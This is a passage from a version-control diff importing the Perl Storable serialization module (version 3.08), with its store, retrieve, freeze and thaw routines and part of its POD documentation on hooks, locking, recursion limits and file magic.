+++ vendor/perl/dist/dist/Storable/__Storable__.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,1430 @@
+#
+#  Copyright (c) 1995-2001, Raphael Manfredi
+#  Copyright (c) 2002-2014 by the Perl 5 Porters
+#  Copyright (c) 2015-2016 cPanel Inc
+#  Copyright (c) 2017 Reini Urban
+#
+#  You may redistribute only under the same terms as Perl 5, as specified
+#  in the README file that comes with the distribution.
+#
+
+require XSLoader;
+require Exporter;
+package Storable;
+
+our @ISA = qw(Exporter);
+our @EXPORT = qw(store retrieve);
+our @EXPORT_OK = qw(
+	nstore store_fd nstore_fd fd_retrieve
+	freeze nfreeze thaw
+	dclone
+	retrieve_fd
+	lock_store lock_nstore lock_retrieve
+        file_magic read_magic
+	BLESS_OK TIE_OK FLAGS_COMPAT
+        stack_depth stack_depth_hash
+);
+
+our ($canonical, $forgive_me);
+
+our $VERSION = '3.08';
+
+our $recursion_limit;
+our $recursion_limit_hash;
+
+do "Storable/Limit.pm";
+
+$recursion_limit = 512
+  unless defined $recursion_limit;
+$recursion_limit_hash = 256
+  unless defined $recursion_limit_hash;
+
+BEGIN {
+    if (eval {
+        local $SIG{__DIE__};
+        local @INC = @INC;
+        pop @INC if $INC[-1] eq '.';
+        require Log::Agent;
+        1;
+    }) {
+        Log::Agent->import;
+    }
+    #
+    # Use of Log::Agent is optional. If it hasn't imported these subs then
+    # provide a fallback implementation.
+    #
+    unless ($Storable::{logcroak} && *{$Storable::{logcroak}}{CODE}) {
+        require Carp;
+        *logcroak = sub {
+            Carp::croak(@_);
+        };
+    }
+    unless ($Storable::{logcarp} && *{$Storable::{logcarp}}{CODE}) {
+	require Carp;
+        *logcarp = sub {
+          Carp::carp(@_);
+        };
+    }
+}
+
+#
+# They might miss :flock in Fcntl
+#
+
+BEGIN {
+    if (eval { require Fcntl; 1 } && exists $Fcntl::EXPORT_TAGS{'flock'}) {
+        Fcntl->import(':flock');
+    } else {
+        eval q{
+	          sub LOCK_SH () { 1 }
+		  sub LOCK_EX () { 2 }
+	      };
+    }
+}
+
+sub CLONE {
+    # clone context under threads
+    Storable::init_perinterp();
+}
+
+sub BLESS_OK     () { 2 }
+sub TIE_OK       () { 4 }
+sub FLAGS_COMPAT () { BLESS_OK | TIE_OK }
+
+# By default restricted hashes are downgraded on earlier perls.
+
+$Storable::flags = FLAGS_COMPAT;
+$Storable::downgrade_restricted = 1;
+$Storable::accept_future_minor = 1;
+
+XSLoader::load('Storable');
+
+#
+# Determine whether locking is possible, but only when needed.
+#
+
+sub CAN_FLOCK; # TEMPLATE - replaced by Storable.pm.PL
+
+sub show_file_magic {
+    print <<EOM;
+#
+# To recognize the data files of the Perl module Storable,
+# the following lines need to be added to the local magic(5) file,
+# usually either /usr/share/misc/magic or /etc/magic.
+#
+0	string	perl-store	perl Storable(v0.6) data
+>4	byte	>0	(net-order %d)
+>>4	byte	&01	(network-ordered)
+>>4	byte	=3	(major 1)
+>>4	byte	=2	(major 1)
+
+0	string	pst0	perl Storable(v0.7) data
+>4	byte	>0
+>>4	byte	&01	(network-ordered)
+>>4	byte	=5	(major 2)
+>>4	byte	=4	(major 2)
+>>5	byte	>0	(minor %d)
+EOM
+}
+
+sub file_magic {
+    require IO::File;
+
+    my $file = shift;
+    my $fh = IO::File->new;
+    open($fh, "<", $file) || die "Can't open '$file': $!";
+    binmode($fh);
+    defined(sysread($fh, my $buf, 32)) || die "Can't read from '$file': $!";
+    close($fh);
+
+    $file = "./$file" unless $file;  # ensure TRUE value
+
+    return read_magic($buf, $file);
+}
+
+sub read_magic {
+    my($buf, $file) = @_;
+    my %info;
+
+    my $buflen = length($buf);
+    my $magic;
+    if ($buf =~ s/^(pst0|perl-store)//) {
+	$magic = $1;
+	$info{file} = $file || 1;
+    }
+    else {
+	return undef if $file;
+	$magic = "";
+    }
+
+    return undef unless length($buf);
+
+    my $net_order;
+    if ($magic eq "perl-store" && ord(substr($buf, 0, 1)) > 1) {
+	$info{version} = -1;
+	$net_order = 0;
+    }
+    else {
+	$buf =~ s/(.)//s;
+	my $major = (ord $1) >> 1;
+	return undef if $major > 4; # sanity (assuming we never go that high)
+	$info{major} = $major;
+	$net_order = (ord $1) & 0x01;
+	if ($major > 1) {
+	    return undef unless $buf =~ s/(.)//s;
+	    my $minor = ord $1;
+	    $info{minor} = $minor;
+	    $info{version} = "$major.$minor";
+	    $info{version_nv} = sprintf "%d.%03d", $major, $minor;
+	}
+	else {
+	    $info{version} = $major;
+	}
+    }
+    $info{version_nv} ||= $info{version};
+    $info{netorder} = $net_order;
+
+    unless ($net_order) {
+	return undef unless $buf =~ s/(.)//s;
+	my $len = ord $1;
+	return undef unless length($buf) >= $len;
+	return undef unless $len == 4 || $len == 8;  # sanity
+	@info{qw(byteorder intsize longsize ptrsize)}
+	    = unpack "a${len}CCC", $buf;
+	(substr $buf, 0, $len + 3) = '';
+	if ($info{version_nv} >= 2.002) {
+	    return undef unless $buf =~ s/(.)//s;
+	    $info{nvsize} = ord $1;
+	}
+    }
+    $info{hdrsize} = $buflen - length($buf);
+
+    return \%info;
+}
+
+sub BIN_VERSION_NV {
+    sprintf "%d.%03d", BIN_MAJOR(), BIN_MINOR();
+}
+
+sub BIN_WRITE_VERSION_NV {
+    sprintf "%d.%03d", BIN_MAJOR(), BIN_WRITE_MINOR();
+}
+
+#
+# store
+#
+# Store target object hierarchy, identified by a reference to its root.
+# The stored object tree may later be retrieved to memory via retrieve.
+# Returns undef if an I/O error occurred, in which case the file is
+# removed.
+#
+sub store {
+    return _store(\&pstore, @_, 0);
+}
+
+#
+# nstore
+#
+# Same as store, but in network order.
+#
+sub nstore {
+    return _store(\&net_pstore, @_, 0);
+}
+
+#
+# lock_store
+#
+# Same as store, but flock the file first (advisory locking).
+#
+sub lock_store {
+    return _store(\&pstore, @_, 1);
+}
+
+#
+# lock_nstore
+#
+# Same as nstore, but flock the file first (advisory locking).
+#
+sub lock_nstore {
+    return _store(\&net_pstore, @_, 1);
+}
+
+# Internal store to file routine
+sub _store {
+    my $xsptr = shift;
+    my $self = shift;
+    my ($file, $use_locking) = @_;
+    logcroak "not a reference" unless ref($self);
+    logcroak "wrong argument number" unless @_ == 2;	# No @foo in arglist
+    local *FILE;
+    if ($use_locking) {
+        open(FILE, ">>", $file) || logcroak "can't write into $file: $!";
+        unless (&CAN_FLOCK) {
+            logcarp
+              "Storable::lock_store: fcntl/flock emulation broken on $^O";
+            return undef;
+        }
+        flock(FILE, LOCK_EX) ||
+          logcroak "can't get exclusive lock on $file: $!";
+        truncate FILE, 0;
+        # Unlocking will happen when FILE is closed
+    } else {
+        open(FILE, ">", $file) || logcroak "can't create $file: $!";
+    }
+    binmode FILE;	# Archaic systems...
+    my $da = $@;	# Don't mess if called from exception handler
+    my $ret;
+    # Call C routine nstore or pstore, depending on network order
+    eval { $ret = &$xsptr(*FILE, $self) };
+    # close will return true on success, so the or short-circuits, the ()
+    # expression is true, and for that case the block will only be entered
+    # if $@ is true (ie eval failed)
+    # if close fails, it returns false, $ret is altered, *that* is (also)
+    # false, so the () expression is false, !() is true, and the block is
+    # entered.
+    if (!(close(FILE) or undef $ret) || $@) {
+        unlink($file) or warn "Can't unlink $file: $!\n";
+    }
+    if ($@) {
+        $@ =~ s/\.?\n$/,/ unless ref $@;
+        logcroak $@;
+    }
+    $@ = $da;
+    return $ret;
+}
+
+#
+# store_fd
+#
+# Same as store, but perform on an already opened file descriptor instead.
+# Returns undef if an I/O error occurred.
+#
+sub store_fd {
+    return _store_fd(\&pstore, @_);
+}
+
+#
+# nstore_fd
+#
+# Same as store_fd, but in network order.
+#
+sub nstore_fd {
+    my ($self, $file) = @_;
+    return _store_fd(\&net_pstore, @_);
+}
+
+# Internal store routine on opened file descriptor
+sub _store_fd {
+    my $xsptr = shift;
+    my $self = shift;
+    my ($file) = @_;
+    logcroak "not a reference" unless ref($self);
+    logcroak "too many arguments" unless @_ == 1;	# No @foo in arglist
+    my $fd = fileno($file);
+    logcroak "not a valid file descriptor" unless defined $fd;
+    my $da = $@;		# Don't mess if called from exception handler
+    my $ret;
+    # Call C routine nstore or pstore, depending on network order
+    eval { $ret = &$xsptr($file, $self) };
+    logcroak $@ if $@ =~ s/\.?\n$/,/;
+    local $\; print $file '';	# Autoflush the file if wanted
+    $@ = $da;
+    return $ret;
+}
+
+#
+# freeze
+#
+# Store object and its hierarchy in memory and return a scalar
+# containing the result.
+#
+sub freeze {
+    _freeze(\&mstore, @_);
+}
+
+#
+# nfreeze
+#
+# Same as freeze but in network order.
+#
+sub nfreeze {
+    _freeze(\&net_mstore, @_);
+}
+
+# Internal freeze routine
+sub _freeze {
+    my $xsptr = shift;
+    my $self = shift;
+    logcroak "not a reference" unless ref($self);
+    logcroak "too many arguments" unless @_ == 0;	# No @foo in arglist
+    my $da = $@;	        # Don't mess if called from exception handler
+    my $ret;
+    # Call C routine mstore or net_mstore, depending on network order
+    eval { $ret = &$xsptr($self) };
+    if ($@) {
+        $@ =~ s/\.?\n$/,/ unless ref $@;
+        logcroak $@;
+    }
+    $@ = $da;
+    return $ret ? $ret : undef;
+}
+
+#
+# retrieve
+#
+# Retrieve object hierarchy from disk, returning a reference to the root
+# object of that tree.
+#
+# retrieve(file, flags)
+# flags include by default BLESS_OK=2 | TIE_OK=4
+# with flags=0 or the global $Storable::flags set to 0, no resulting object
+# will be blessed nor tied.
+#
+sub retrieve {
+    _retrieve(shift, 0, @_);
+}
+
+#
+# lock_retrieve
+#
+# Same as retrieve, but with advisory locking.
+#
+sub lock_retrieve {
+    _retrieve(shift, 1, @_);
+}
+
+# Internal retrieve routine
+sub _retrieve {
+    my ($file, $use_locking, $flags) = @_;
+    $flags = $Storable::flags unless defined $flags;
+    my $FILE;
+    open($FILE, "<", $file) || logcroak "can't open $file: $!";
+    binmode $FILE;			# Archaic systems...
+    my $self;
+    my $da = $@;			# Could be from exception handler
+    if ($use_locking) {
+        unless (&CAN_FLOCK) {
+            logcarp
+              "Storable::lock_store: fcntl/flock emulation broken on $^O";
+            return undef;
+        }
+        flock($FILE, LOCK_SH) || logcroak "can't get shared lock on $file: $!";
+        # Unlocking will happen when FILE is closed
+    }
+    eval { $self = pretrieve($FILE, $flags) };		# Call C routine
+    close($FILE);
+    if ($@) {
+        $@ =~ s/\.?\n$/,/ unless ref $@;
+        logcroak $@;
+    }
+    $@ = $da;
+    return $self;
+}
+
+#
+# fd_retrieve
+#
+# Same as retrieve, but perform from an already opened file descriptor instead.
+#
+sub fd_retrieve {
+    my ($file, $flags) = @_;
+    $flags = $Storable::flags unless defined $flags;
+    my $fd = fileno($file);
+    logcroak "not a valid file descriptor" unless defined $fd;
+    my $self;
+    my $da = $@;				# Could be from exception handler
+    eval { $self = pretrieve($file, $flags) };	# Call C routine
+    if ($@) {
+        $@ =~ s/\.?\n$/,/ unless ref $@;
+        logcroak $@;
+    }
+    $@ = $da;
+    return $self;
+}
+
+sub retrieve_fd { &fd_retrieve }		# Backward compatibility
+
+#
+# thaw
+#
+# Recreate objects in memory from an existing frozen image created
+# by freeze.  If the frozen image passed is undef, return undef.
+#
+# thaw(frozen_obj, flags)
+# flags include by default BLESS_OK=2 | TIE_OK=4
+# with flags=0 or the global $Storable::flags set to 0, no resulting object
+# will be blessed nor tied.
+#
+sub thaw {
+    my ($frozen, $flags) = @_;
+    $flags = $Storable::flags unless defined $flags;
+    return undef unless defined $frozen;
+    my $self;
+    my $da = $@;			        # Could be from exception handler
+    eval { $self = mretrieve($frozen, $flags) };# Call C routine
+    if ($@) {
+        $@ =~ s/\.?\n$/,/ unless ref $@;
+        logcroak $@;
+    }
+    $@ = $da;
+    return $self;
+}
+
+#
+# _make_re($re, $flags)
+#
+# Internal function used to thaw a regular expression.
+#
+
+my $re_flags;
+BEGIN {
+    if ($] < 5.010) {
+        $re_flags = qr/\A[imsx]*\z/;
+    }
+    elsif ($] < 5.014) {
+        $re_flags = qr/\A[msixp]*\z/;
+    }
+    elsif ($] < 5.022) {
+        $re_flags = qr/\A[msixpdual]*\z/;
+    }
+    else {
+        $re_flags = qr/\A[msixpdualn]*\z/;
+    }
+}
+
+sub _make_re {
+    my ($re, $flags) = @_;
+
+    $flags =~ $re_flags
+        or die "regexp flags invalid";
+
+    my $qr = eval "qr/\$re/$flags";
+    die $@ if $@;
+
+    $qr;
+}
+
+if ($] < 5.012) {
+    eval <<'EOS'
+sub _regexp_pattern {
+    my $re = "" . shift;
+    $re =~ /\A\(\?([xism]*)(?:-[xism]*)?:(.*)\)\z/s
+        or die "Cannot parse regexp /$re/";
+    return ($2, $1);
+}
+1
+EOS
+      or die "Cannot define _regexp_pattern: $@";
+}
+
+1;
+__END__
+
+=head1 NAME
+
+Storable - persistence for Perl data structures
+
+=head1 SYNOPSIS
+
+ use Storable;
+ store \%table, 'file';
+ $hashref = retrieve('file');
+
+ use Storable qw(nstore store_fd nstore_fd freeze thaw dclone);
+
+ # Network order
+ nstore \%table, 'file';
+ $hashref = retrieve('file');	# There is NO nretrieve()
+
+ # Storing to and retrieving from an already opened file
+ store_fd \@array, \*STDOUT;
+ nstore_fd \%table, \*STDOUT;
+ $aryref = fd_retrieve(\*SOCKET);
+ $hashref = fd_retrieve(\*SOCKET);
+
+ # Serializing to memory
+ $serialized = freeze \%table;
+ %table_clone = %{ thaw($serialized) };
+
+ # Deep (recursive) cloning
+ $cloneref = dclone($ref);
+
+ # Advisory locking
+ use Storable qw(lock_store lock_nstore lock_retrieve)
+ lock_store \%table, 'file';
+ lock_nstore \%table, 'file';
+ $hashref = lock_retrieve('file');
+
+=head1 DESCRIPTION
+
+The Storable package brings persistence to your Perl data structures
+containing SCALAR, ARRAY, HASH or REF objects, i.e. anything that can be
+conveniently stored to disk and retrieved at a later time.
+
+It can be used in the regular procedural way by calling C<store> with
+a reference to the object to be stored, along with the file name where
+the image should be written.
+
+The routine returns C<undef> for I/O problems or other internal error,
+a true value otherwise. Serious errors are propagated as a C<die> exception.
+
+To retrieve data stored to disk, use C<retrieve> with a file name.
+The objects stored into that file are recreated into memory for you,
+and a I<reference> to the root object is returned. In case an I/O error
+occurs while reading, C<undef> is returned instead. Other serious
+errors are propagated via C<die>.
+
+Since storage is performed recursively, you might want to stuff references
+to objects that share a lot of common data into a single array or hash
+table, and then store that object. That way, when you retrieve back the
+whole thing, the objects will continue to share what they originally shared.
+
+At the cost of a slight header overhead, you may store to an already
+opened file descriptor using the C<store_fd> routine, and retrieve
+from a file via C<fd_retrieve>. Those names aren't imported by default,
+so you will have to do that explicitly if you need those routines.
+The file descriptor you supply must be already opened, for read
+if you're going to retrieve and for write if you wish to store.
+
+	store_fd(\%table, *STDOUT) || die "can't store to stdout\n";
+	$hashref = fd_retrieve(*STDIN);
+
+You can also store data in network order to allow easy sharing across
+multiple platforms, or when storing on a socket known to be remotely
+connected. The routines to call have an initial C<n> prefix for I<network>,
+as in C<nstore> and C<nstore_fd>. At retrieval time, your data will be
+correctly restored so you don't have to know whether you're restoring
+from native or network ordered data.  Double values are stored stringified
+to ensure portability as well, at the slight risk of loosing some precision
+in the last decimals.
+
+When using C<fd_retrieve>, objects are retrieved in sequence, one
+object (i.e. one recursive tree) per associated C<store_fd>.
+
+If you're more from the object-oriented camp, you can inherit from
+Storable and directly store your objects by invoking C<store> as
+a method. The fact that the root of the to-be-stored tree is a
+blessed reference (i.e. an object) is special-cased so that the
+retrieve does not provide a reference to that object but rather the
+blessed object reference itself. (Otherwise, you'd get a reference
+to that blessed object).
+
+=head1 MEMORY STORE
+
+The Storable engine can also store data into a Perl scalar instead, to
+later retrieve them. This is mainly used to freeze a complex structure in
+some safe compact memory place (where it can possibly be sent to another
+process via some IPC, since freezing the structure also serializes it in
+effect). Later on, and maybe somewhere else, you can thaw the Perl scalar
+out and recreate the original complex structure in memory.
+
+Surprisingly, the routines to be called are named C<freeze> and C<thaw>.
+If you wish to send out the frozen scalar to another machine, use
+C<nfreeze> instead to get a portable image.
+
+Note that freezing an object structure and immediately thawing it
+actually achieves a deep cloning of that structure:
+
+    dclone(.) = thaw(freeze(.))
+
+Storable provides you with a C<dclone> interface which does not create
+that intermediary scalar but instead freezes the structure in some
+internal memory space and then immediately thaws it out.
+
+=head1 ADVISORY LOCKING
+
+The C<lock_store> and C<lock_nstore> routine are equivalent to
+C<store> and C<nstore>, except that they get an exclusive lock on
+the file before writing.  Likewise, C<lock_retrieve> does the same
+as C<retrieve>, but also gets a shared lock on the file before reading.
+
+As with any advisory locking scheme, the protection only works if you
+systematically use C<lock_store> and C<lock_retrieve>.  If one side of
+your application uses C<store> whilst the other uses C<lock_retrieve>,
+you will get no protection at all.
+
+The internal advisory locking is implemented using Perl's flock()
+routine.  If your system does not support any form of flock(), or if
+you share your files across NFS, you might wish to use other forms
+of locking by using modules such as LockFile::Simple which lock a
+file using a filesystem entry, instead of locking the file descriptor.
+
+=head1 SPEED
+
+The heart of Storable is written in C for decent speed. Extra low-level
+optimizations have been made when manipulating perl internals, to
+sacrifice encapsulation for the benefit of greater speed.
+
+=head1 CANONICAL REPRESENTATION
+
+Normally, Storable stores elements of hashes in the order they are
+stored internally by Perl, i.e. pseudo-randomly.  If you set
+C<$Storable::canonical> to some C<TRUE> value, Storable will store
+hashes with the elements sorted by their key.  This allows you to
+compare data structures by comparing their frozen representations (or
+even the compressed frozen representations), which can be useful for
+creating lookup tables for complicated queries.
+
+Canonical order does not imply network order; those are two orthogonal
+settings.
+
+=head1 CODE REFERENCES
+
+Since Storable version 2.05, CODE references may be serialized with
+the help of L<B::Deparse>. To enable this feature, set
+C<$Storable::Deparse> to a true value. To enable deserialization,
+C<$Storable::Eval> should be set to a true value. Be aware that
+deserialization is done through C<eval>, which is dangerous if the
+Storable file contains malicious data. You can set C<$Storable::Eval>
+to a subroutine reference which would be used instead of C<eval>. See
+below for an example using a L<Safe> compartment for deserialization
+of CODE references.
+
+If C<$Storable::Deparse> and/or C<$Storable::Eval> are set to false
+values, then the value of C<$Storable::forgive_me> (see below) is
+respected while serializing and deserializing.
+
+=head1 FORWARD COMPATIBILITY
+
+This release of Storable can be used on a newer version of Perl to
+serialize data which is not supported by earlier Perls.  By default,
+Storable will attempt to do the right thing, by C<croak()>ing if it
+encounters data that it cannot deserialize.  However, the defaults
+can be changed as follows:
+
+=over 4
+
+=item utf8 data
+
+Perl 5.6 added support for Unicode characters with code points > 255,
+and Perl 5.8 has full support for Unicode characters in hash keys.
+Perl internally encodes strings with these characters using utf8, and
+Storable serializes them as utf8.  By default, if an older version of
+Perl encounters a utf8 value it cannot represent, it will C<croak()>.
+To change this behaviour so that Storable deserializes utf8 encoded
+values as the string of bytes (effectively dropping the I<is_utf8> flag)
+set C<$Storable::drop_utf8> to some C<TRUE> value.  This is a form of
+data loss, because with C<$drop_utf8> true, it becomes impossible to tell
+whether the original data was the Unicode string, or a series of bytes
+that happen to be valid utf8.
+
+=item restricted hashes
+
+Perl 5.8 adds support for restricted hashes, which have keys
+restricted to a given set, and can have values locked to be read only.
+By default, when Storable encounters a restricted hash on a perl
+that doesn't support them, it will deserialize it as a normal hash,
+silently discarding any placeholder keys and leaving the keys and
+all values unlocked.  To make Storable C<croak()> instead, set
+C<$Storable::downgrade_restricted> to a C<FALSE> value.  To restore
+the default set it back to some C<TRUE> value.
+
+The cperl PERL_PERTURB_KEYS_TOP hash strategy has a known problem with
+restricted hashes.
+
+=item huge objects
+
+On 64bit systems some data structures may exceed the 2G (i.e. I32_MAX)
+limit. On 32bit systems also strings between I32 and U32 (2G-4G).
+Since Storable 3.00 (not in perl5 core) we are able to store and
+retrieve these objects, even if perl5 itself is not able to handle
+them.  These are strings longer then 4G, arrays with more then 2G
+elements and hashes with more then 2G elements. cperl forbids hashes
+with more than 2G elements, but this fail in cperl then. perl5 itself
+at least until 5.26 allows it, but cannot iterate over them.
+Note that creating those objects might cause out of memory
+exceptions by the operating system before perl has a chance to abort.
+
+=item files from future versions of Storable
+
+Earlier versions of Storable would immediately croak if they encountered
+a file with a higher internal version number than the reading Storable
+knew about.  Internal version numbers are increased each time new data
+types (such as restricted hashes) are added to the vocabulary of the file
+format.  This meant that a newer Storable module had no way of writing a
+file readable by an older Storable, even if the writer didn't store newer
+data types.
+
+This version of Storable will defer croaking until it encounters a data
+type in the file that it does not recognize.  This means that it will
+continue to read files generated by newer Storable modules which are careful
+in what they write out, making it easier to upgrade Storable modules in a
+mixed environment.
+
+The old behaviour of immediate croaking can be re-instated by setting
+C<$Storable::accept_future_minor> to some C<FALSE> value.
+
+=back
+
+All these variables have no effect on a newer Perl which supports the
+relevant feature.
+
+=head1 ERROR REPORTING
+
+Storable uses the "exception" paradigm, in that it does not try to
+workaround failures: if something bad happens, an exception is
+generated from the caller's perspective (see L<Carp> and C<croak()>).
+Use eval {} to trap those exceptions.
+
+When Storable croaks, it tries to report the error via the C<logcroak()>
+routine from the C<Log::Agent> package, if it is available.
+
+Normal errors are reported by having store() or retrieve() return C<undef>.
+Such errors are usually I/O errors (or truncated stream errors at retrieval).
+
+When Storable throws the "Max. recursion depth with nested structures
+exceeded" error we are already out of stack space. Unfortunately on
+some earlier perl versions cleaning up a recursive data structure
+recurses into the free calls, which will lead to stack overflows in
+the cleanup. This data structure is not properly cleaned up then, it
+will only be destroyed during global destruction.
+
+=head1 WIZARDS ONLY
+
+=head2 Hooks
+
+Any class may define hooks that will be called during the serialization
+and deserialization process on objects that are instances of that class.
+Those hooks can redefine the way serialization is performed (and therefore,
+how the symmetrical deserialization should be conducted).
+
+Since we said earlier:
+
+    dclone(.) = thaw(freeze(.))
+
+everything we say about hooks should also hold for deep cloning. However,
+hooks get to know whether the operation is a mere serialization, or a cloning.
+
+Therefore, when serializing hooks are involved,
+
+    dclone(.) <> thaw(freeze(.))
+
+Well, you could keep them in sync, but there's no guarantee it will always
+hold on classes somebody else wrote.  Besides, there is little to gain in
+doing so: a serializing hook could keep only one attribute of an object,
+which is probably not what should happen during a deep cloning of that
+same object.
+
+Here is the hooking interface:
+
+=over 4
+
+=item C<STORABLE_freeze> I<obj>, I<cloning>
+
+The serializing hook, called on the object during serialization.  It can be
+inherited, or defined in the class itself, like any other method.
+
+Arguments: I<obj> is the object to serialize, I<cloning> is a flag indicating
+whether we're in a dclone() or a regular serialization via store() or freeze().
+
+Returned value: A LIST C<($serialized, $ref1, $ref2, ...)> where $serialized
+is the serialized form to be used, and the optional $ref1, $ref2, etc... are
+extra references that you wish to let the Storable engine serialize.
+
+At deserialization time, you will be given back the same LIST, but all the
+extra references will be pointing into the deserialized structure.
+
+The B<first time> the hook is hit in a serialization flow, you may have it
+return an empty list.  That will signal the Storable engine to further
+discard that hook for this class and to therefore revert to the default
+serialization of the underlying Perl data.  The hook will again be normally
+processed in the next serialization.
+
+Unless you know better, serializing hook should always say:
+
+    sub STORABLE_freeze {
+        my ($self, $cloning) = @_;
+        return if $cloning;         # Regular default serialization
+        ....
+    }
+
+in order to keep reasonable dclone() semantics.
+
+=item C<STORABLE_thaw> I<obj>, I<cloning>, I<serialized>, ...
+
+The deserializing hook called on the object during deserialization.
+But wait: if we're deserializing, there's no object yet... right?
+
+Wrong: the Storable engine creates an empty one for you.  If you know Eiffel,
+you can view C<STORABLE_thaw> as an alternate creation routine.
+
+This means the hook can be inherited like any other method, and that
+I<obj> is your blessed reference for this particular instance.
+
+The other arguments should look familiar if you know C<STORABLE_freeze>:
+I<cloning> is true when we're part of a deep clone operation, I<serialized>
+is the serialized string you returned to the engine in C<STORABLE_freeze>,
+and there may be an optional list of references, in the same order you gave
+them at serialization time, pointing to the deserialized objects (which
+have been processed courtesy of the Storable engine).
+
+When the Storable engine does not find any C<STORABLE_thaw> hook routine,
+it tries to load the class by requiring the package dynamically (using
+the blessed package name), and then re-attempts the lookup.  If at that
+time the hook cannot be located, the engine croaks.  Note that this mechanism
+will fail if you define several classes in the same file, but L<perlmod>
+warned you.
+
+It is up to you to use this information to populate I<obj> the way you want.
+
+Returned value: none.
+
+=item C<STORABLE_attach> I<class>, I<cloning>, I<serialized>
+
+While C<STORABLE_freeze> and C<STORABLE_thaw> are useful for classes where
+each instance is independent, this mechanism has difficulty (or is
+incompatible) with objects that exist as common process-level or
+system-level resources, such as singleton objects, database pools, caches
+or memoized objects.
+
+The alternative C<STORABLE_attach> method provides a solution for these
+shared objects. Instead of C<STORABLE_freeze> --E<gt> C<STORABLE_thaw>,
+you implement C<STORABLE_freeze> --E<gt> C<STORABLE_attach> instead.
+
+Arguments: I<class> is the class we are attaching to, I<cloning> is a flag
+indicating whether we're in a dclone() or a regular de-serialization via
+thaw(), and I<serialized> is the stored string for the resource object.
+
+Because these resource objects are considered to be owned by the entire
+process/system, and not the "property" of whatever is being serialized,
+no references underneath the object should be included in the serialized
+string. Thus, in any class that implements C<STORABLE_attach>, the
+C<STORABLE_freeze> method cannot return any references, and C<Storable>
+will throw an error if C<STORABLE_freeze> tries to return references.
+
+All information required to "attach" back to the shared resource object
+B<must> be contained B<only> in the C<STORABLE_freeze> return string.
+Otherwise, C<STORABLE_freeze> behaves as normal for C<STORABLE_attach>
+classes.
+
+Because C<STORABLE_attach> is passed the class (rather than an object),
+it also returns the object directly, rather than modifying the passed
+object.
+
+Returned value: object of type C<class>
+
+=back
+
+=head2 Predicates
+
+Predicates are not exportable.  They must be called by explicitly prefixing
+them with the Storable package name.
+
+=over 4
+
+=item C<Storable::last_op_in_netorder>
+
+The C<Storable::last_op_in_netorder()> predicate will tell you whether
+network order was used in the last store or retrieve operation.  If you
+don't know how to use this, just forget about it.
+
+=item C<Storable::is_storing>
+
+Returns true if within a store operation (via STORABLE_freeze hook).
+
+=item C<Storable::is_retrieving>
+
+Returns true if within a retrieve operation (via STORABLE_thaw hook).
+
+=back
+
+=head2 Recursion
+
+With hooks comes the ability to recurse back to the Storable engine.
+Indeed, hooks are regular Perl code, and Storable is convenient when
+it comes to serializing and deserializing things, so why not use it
+to handle the serialization string?
+
+There are a few things you need to know, however:
+
+=over 4
+
+=item *
+
+Since Storable 3.05 we probe for the stack recursion limit for references,
+arrays and hashes to a maximal depth of ~1200-35000, otherwise we might
+fall into a stack-overflow.  On JSON::XS this limit is 512 btw.  With
+references not immediately referencing each other there's no such
+limit yet, so you might fall into such a stack-overflow segfault.
+
+This probing and the checks performed have some limitations:
+
+=over
+
+=item *
+
+the stack size at build time might be different at run time, eg. the
+stack size may have been modified with ulimit(1).  If it's larger at
+run time Storable may fail the freeze() or thaw() unnecessarily.
+
+=item *
+
+the stack size might be different in a thread.
+
+=item *
+
+array and hash recursion limits are checked separately against the
+same recursion depth, a frozen structure with a large sequence of
+nested arrays within many nested hashes may exhaust the processor
+stack without triggering Storable's recursion protection.
+
+=back
+
+You can control the maximum array and hash recursion depths by
+modifying C<$Storable::recursion_limit> and
+C<$Storable::recursion_limit_hash> respectively.  Either can be set to
+C<-1> to prevent any depth checks, though this isn't recommended.
+
+=item *
+
+You can create endless loops if the things you serialize via freeze()
+(for instance) point back to the object we're trying to serialize in
+the hook.
+
+=item *
+
+Shared references among objects will not stay shared: if we're serializing
+the list of object [A, C] where both object A and C refer to the SAME object
+B, and if there is a serializing hook in A that says freeze(B), then when
+deserializing, we'll get [A', C'] where A' refers to B', but C' refers to D,
+a deep clone of B'.  The topology was not preserved.
+
+=item *
+
+The maximal stack recursion limit for your system is returned by
+C<stack_depth()> and C<stack_depth_hash()>. The hash limit is usually
+half the size of the array and ref limit, as the Perl hash API is not optimal.
+
+=back
+
+That's why C<STORABLE_freeze> lets you provide a list of references
+to serialize.  The engine guarantees that those will be serialized in the
+same context as the other objects, and therefore that shared objects will
+stay shared.
+
+In the above [A, C] example, the C<STORABLE_freeze> hook could return:
+
+	("something", $self->{B})
+
+and the B part would be serialized by the engine.  In C<STORABLE_thaw>, you
+would get back the reference to the B' object, deserialized for you.
+
+Therefore, recursion should normally be avoided, but is nonetheless supported.
+
+=head2 Deep Cloning
+
+There is a Clone module available on CPAN which implements deep cloning
+natively, i.e. without freezing to memory and thawing the result.  It is
+aimed to replace Storable's dclone() some day.  However, it does not currently
+support Storable hooks to redefine the way deep cloning is performed.
+
+=head1 Storable magic
+
+Yes, there's a lot of that :-) But more precisely, in UNIX systems
+there's a utility called C<file>, which recognizes data files based on
+their contents (usually their first few bytes).  For this to work,
+a certain file called F<magic> needs to taught about the I<signature>
+of the data.  Where that configuration file lives depends on the UNIX
+flavour; often it's something like F</usr/share/misc/magic> or
+F</etc/magic>.  Your system administrator needs to do the updating of
+the F<magic> file.  The necessary signature information is output to
+STDOUT by invoking Storable::show_file_magic().  Note that the GNU
+implementation of the C<file> utility, version 3.38 or later,
+is expected to contain support for recognising Storable files
+out-of-the-box, in addition to other kinds of Perl files.
+
+You can also use the following functions to extract the file header
+information from Storable images:
+
+=over
+
+=item $info = Storable::file_magic( $filename )
+
+If the given file is a Storable image return a hash describing it.  If
+the file is readable, but not a Storable image return C<undef>.  If
+the file does not exist or is unreadable then croak.
+
+The hash returned has the following elements:
+
+=over
+
+=item C<version>
+
+This returns the file format version.  It is a string like "2.7".
+
+Note that this version number is not the same as the version number of
+the Storable module itself.  For instance Storable v0.7 create files
+in format v2.0 and Storable v2.15 create files in format v2.7.  The
+file format version number only increment when additional features
+that would confuse older versions of the module are added.
+
+Files older than v2.0 will have the one of the version numbers "-1",
+"0" or "1".  No minor number was used at that time.
+
+=item C<version_nv>
+
+This returns the file format version as number.  It is a string like
+"2.007".  This value is suitable for numeric comparisons.
+
+The constant function C<Storable::BIN_VERSION_NV> returns a comparable
+number that represents the highest file version number that this
+version of Storable fully supports (but see discussion of
+C<$Storable::accept_future_minor> above).  The constant
+C<Storable::BIN_WRITE_VERSION_NV> function returns what file version
